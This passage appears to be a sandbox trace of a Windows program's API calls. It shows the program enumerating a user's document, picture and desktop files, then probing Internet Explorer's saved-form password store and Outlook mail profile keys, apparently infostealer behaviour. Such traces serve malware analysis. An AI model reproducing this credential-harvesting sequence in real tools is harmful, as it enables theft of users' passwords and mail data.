lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/g-yKu99NgX3E1avh.flv", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/g-yKu99NgX3E1avh.flvGJn0jS%20HALPmcxz/Desktop/g-yKu99NgX3E1avh.flv", lpUsedDefaultChar=0x0) returned 68 [0059.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=68, lpWideCharStr=0x521d28, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/g-yKu99NgX3E1avh.flv见열A열A≈") returned 68 [0059.876] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/ydXSSVPNKJrpO.gif", cchWideChar=110, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/ydXSSVPNKJrpO.gifr0IOl8/xGbG96m2n/Ti8zEuhb9G6/ydXSSVPNKJrpO.gif", lpUsedDefaultChar=0x0) returned 110 [0059.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x521f38, cbMultiByte=110, lpWideCharStr=0x3bcdac8, cchWideChar=221 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/ydXSSVPNKJrpO.gifä") returned 110 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/4bEPE_RVfAAsyMzt6.bmp", cchWideChar=121, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/4bEPE_RVfAAsyMzt6.bmp", lpUsedDefaultChar=0x0) returned 121 [0059.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x522130, cbMultiByte=121, lpWideCharStr=0x5221b0, cchWideChar=243 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/4bEPE_RVfAAsyMzt6.bmp퇷열A열Aᵘ") returned 121 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/95fISoK%20jESPo8EvK8TF.docx", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/95fISoK%20jESPo8EvK8TF.docxHALPmcxz/Documents/95fISoK%20jESPo8EvK8TF.docx", lpUsedDefaultChar=0x0) returned 77 [0059.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=77, lpWideCharStr=0x3bccacc, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/95fISoK%20jESPo8EvK8TF.docx") returned 77 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/jdj%20STUTpip.ots", cchWideChar=67, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/jdj%20STUTpip.otsrGJn0jS%20HALPmcxz/Documents/jdj%20STUTpip.ots", lpUsedDefaultChar=0x0) returned 67 [0059.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=67, lpWideCharStr=0x52242c, cchWideChar=135 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/jdj%20STUTpip.otsࣂ열A열Aᭈ") returned 67 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/-zbo%20jfn3hfrTF0uU6.jpg", cchWideChar=82, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/-zbo%20jfn3hfrTF0uU6.jpgcxz/Pictures/X7bnh_OS/-zbo%20jfn3hfrTF0uU6.jpg", lpUsedDefaultChar=0x0) returned 82 [0059.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=82, lpWideCharStr=0x5224b8, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/-zbo%20jfn3hfrTF0uU6.jpg") returned 82 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/FtgQfxUKUMeG.jpg", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/FtgQfxUKUMeG.jpgjS%20HALPmcxz/AppData/Roaming/FtgQfxUKUMeG.jpg", lpUsedDefaultChar=0x0) returned 72 [0059.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1938, cbMultiByte=72, lpWideCharStr=0x522564, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/FtgQfxUKUMeG.jpg幙썝열A열Aᨄ") returned 72 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/oyegcKVpN.pdf", cchWideChar=76, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/oyegcKVpN.pdf0HALPmcxz/Documents/OstAGQ_x8J4h/oyegcKVpN.pdf", lpUsedDefaultChar=0x0) returned 76 [0059.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=76, lpWideCharStr=0x5225fc, cchWideChar=153 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/oyegcKVpN.pdf謕턁열A열Aᥤ") returned 76 [0059.877] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/SqhwCUV_7QQ.png", cchWideChar=108, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/SqhwCUV_7QQ.pngmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/SqhwCUV_7QQ.png", lpUsedDefaultChar=0x0) returned 108 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x5226a4, cbMultiByte=108, lpWideCharStr=0x3bcd9c8, cchWideChar=217 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/Ti8zEuhb9G6/SqhwCUV_7QQ.pngà") returned 108 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k1dd.gif", cchWideChar=56, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k1dd.gif/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k1dd.gif", lpUsedDefaultChar=0x0) returned 56 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0fa8, cbMultiByte=56, lpWideCharStr=0x42a0a18, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k1dd.gifx") returned 56 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/QdsM.bmp", cchWideChar=78, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/QdsM.bmpALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/QdsM.bmp", lpUsedDefaultChar=0x0) returned 78 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=78, lpWideCharStr=0x522838, cchWideChar=157 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/QdsM.bmp쌫ﮋ열A열Aᜤ") returned 78 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/IrPWAmnZ4jkLi8.xlsx", cchWideChar=82, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/IrPWAmnZ4jkLi8.xlsxcxz/Documents/OstAGQ_x8J4h/IrPWAmnZ4jkLi8.xlsx", lpUsedDefaultChar=0x0) returned 82 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=82, lpWideCharStr=0x522a7c, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/IrPWAmnZ4jkLi8.xlsx䟫삅열A열Aᓘ") returned 82 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/t8h7uOM2dG0ElJyiG5.png", cchWideChar=78, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/t8h7uOM2dG0ElJyiG5.pngALPmcxz/AppData/Roaming/t8h7uOM2dG0ElJyiG5.png", lpUsedDefaultChar=0x0) returned 78 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=78, lpWideCharStr=0x522b28, cchWideChar=157 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/t8h7uOM2dG0ElJyiG5.png䶋༈열A열Aᐴ") returned 78 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/hzPupXAo.bmp", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/hzPupXAo.bmpGJn0jS%20HALPmcxz/AppData/Roaming/hzPupXAo.bmp", lpUsedDefaultChar=0x0) returned 68 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=68, lpWideCharStr=0x522d74, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/hzPupXAo.bmp꺈Ā열A열Aᇼ") returned 68 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ZUzJ97kgSmpFwdzhg.pps", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ZUzJ97kgSmpFwdzhg.pps0jS%20HALPmcxz/Documents/ZUzJ97kgSmpFwdzhg.pps", lpUsedDefaultChar=0x0) returned 71 [0059.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=71, lpWideCharStr=0x522fb0, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ZUzJ97kgSmpFwdzhg.pps蔈぀R぀Rྼ") returned 71 [0059.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/VqBAzwGqo.bmp", cchWideChar=113, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/VqBAzwGqo.bmpOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/VqBAzwGqo.bmp", lpUsedDefaultChar=0x0) returned 113 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520538, cbMultiByte=113, lpWideCharStr=0x42a08b4, cchWideChar=227 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/VqBAzwGqo.bmp") returned 113 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/fotx5Sb4zqeXkGAe.jpg", cchWideChar=76, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/fotx5Sb4zqeXkGAe.jpg0HALPmcxz/AppData/Roaming/fotx5Sb4zqeXkGAe.jpg", lpUsedDefaultChar=0x0) returned 76 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=76, lpWideCharStr=0x42a135c, cchWideChar=153 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/fotx5Sb4zqeXkGAe.jpg瑡⽡ᏸЪᏸЪ\x1c") returned 76 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Z6w5rSJNmosnOqNY.png", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Z6w5rSJNmosnOqNY.pngGJn0jS%20HALPmcxz/Desktop/Z6w5rSJNmosnOqNY.png", lpUsedDefaultChar=0x0) returned 68 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=68, lpWideCharStr=0x3bcd0d0, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Z6w5rSJNmosnOqNY.pngᳬЪ템μ템μ,") returned 68 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/M3MLVH7xcPc.jpg", cchWideChar=63, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/M3MLVH7xcPc.jpg5p5NrGJn0jS%20HALPmcxz/Desktop/M3MLVH7xcPc.jpg", lpUsedDefaultChar=0x0) returned 63 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=63, lpWideCharStr=0x42a25a0, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/M3MLVH7xcPc.jpgμ᜸Ъ쁐μT") returned 63 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/NkSC620KY1G.xlsx", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/NkSC620KY1G.xlsxNrGJn0jS%20HALPmcxz/Documents/NkSC620KY1G.xlsx", lpUsedDefaultChar=0x0) returned 66 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=66, lpWideCharStr=0x3bcd8b0, cchWideChar=133 | out: lpWideCharStr) returned 66 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/km4Z_piC-Thg5BA.mkv", cchWideChar=89, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/km4Z_piC-Thg5BA.mkvktop/k%208cyI7PkJoZDNg%20M/km4Z_piC-Thg5BA.mkv", lpUsedDefaultChar=0x0) returned 89 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=89, lpWideCharStr=0x42a0d54, cchWideChar=179 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/km4Z_piC-Thg5BA.mkvμจЪจЪ0") returned 89 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/PM9_GjEtjVdmwWU9.jpg", cchWideChar=76, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/PM9_GjEtjVdmwWU9.jpg0HALPmcxz/AppData/Roaming/PM9_GjEtjVdmwWU9.jpg", lpUsedDefaultChar=0x0) returned 76 [0059.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=76, lpWideCharStr=0x3bcdbe4, cchWideChar=153 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/PM9_GjEtjVdmwWU9.jpg햜μྜЪྜЪH") returned 76 [0059.879] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/RWHWfhMg5DcKSbU8_U.bmp", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/RWHWfhMg5DcKSbU8_U.bmpn0jS%20HALPmcxz/Desktop/RWHWfhMg5DcKSbU8_U.bmp", lpUsedDefaultChar=0x0) returned 70 [0059.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=70, lpWideCharStr=0x3bcde20, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/RWHWfhMg5DcKSbU8_U.bmp준μଠRଠR\\") returned 70 [0059.880] IUnknown:Release (This=0x6beb90) returned 0x3 [0061.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782900, cbMultiByte=58, lpWideCharStr=0x18d5c8, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2g灪\x10\x02") returned 58 [0061.171] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x1, phkResult=0x18e5c8 | out: phkResult=0x18e5c8*=0x0) returned 0x2 [0061.171] RegCloseKey (hKey=0x0) returned 0x6 [0061.171] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.171] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="05cb6f136411cf4daf1f74e966b0a7dc") returned 0x0 [0061.171] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x1, lpName=0x18de00, cchName=0x800 | out: lpName="0a0d020000000000c000000000000046") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x2, lpName=0x18de00, cchName=0x800 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x3, lpName=0x18de00, cchName=0x800 | out: lpName="3517490d76624c419a828607e2a54604") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x4, lpName=0x18de00, cchName=0x800 | out: lpName="4b62e5f8c092a64ea9b79fd559a5a15e") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x5, lpName=0x18de00, cchName=0x800 | out: lpName="609a848a708f544697003a34105400ef") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x6, lpName=0x18de00, cchName=0x800 | out: lpName="63cba20b08018a458b6edb5d87fb54da") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x7, lpName=0x18de00, cchName=0x800 | out: lpName="828cd3a417cead4ab3a214070dce1c3d") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x8, lpName=0x18de00, cchName=0x800 | out: lpName="8503020000000000c000000000000046") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x9, lpName=0x18de00, cchName=0x800 | out: lpName="88d17fec23cbdd4fb54ad1d34c0dce09") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xa, lpName=0x18de00, cchName=0x800 | out: lpName="9207f3e0a3b11019908b08002b2a56c2") returned 0x0 [0061.172] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xb, lpName=0x18de00, cchName=0x800 | out: lpName="9375CFF0413111d3B88A00104B2A6676") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xc, lpName=0x18de00, cchName=0x800 | out: lpName="a533ec91a4f74549ac2130b6908c8aac") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xd, lpName=0x18de00, cchName=0x800 | out: lpName="b70c659765f94740b657fee657d05ab4") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xe, lpName=0x18de00, cchName=0x800 | out: lpName="cce6b8ce16bac4458e5e40e3530d6f1d") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xf, lpName=0x18de00, cchName=0x800 | out: lpName="dd7f40a823cda64b92e9a96e9e46e406") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x10, lpName=0x18de00, cchName=0x800 | out: lpName="ddb0922fc50b8d42be5a821ede840761") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x11, lpName=0x18de00, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x12, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x13, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.173] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.173] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\05cb6f136411cf4daf1f74e966b0a7dc", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.173] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.173] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.173] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.173] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.174] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.174] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.174] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.174] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.174] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.174] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.174] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\4b62e5f8c092a64ea9b79fd559a5a15e", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.174] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.174] RegCloseKey (hKey=0x3f4) returned 0x0 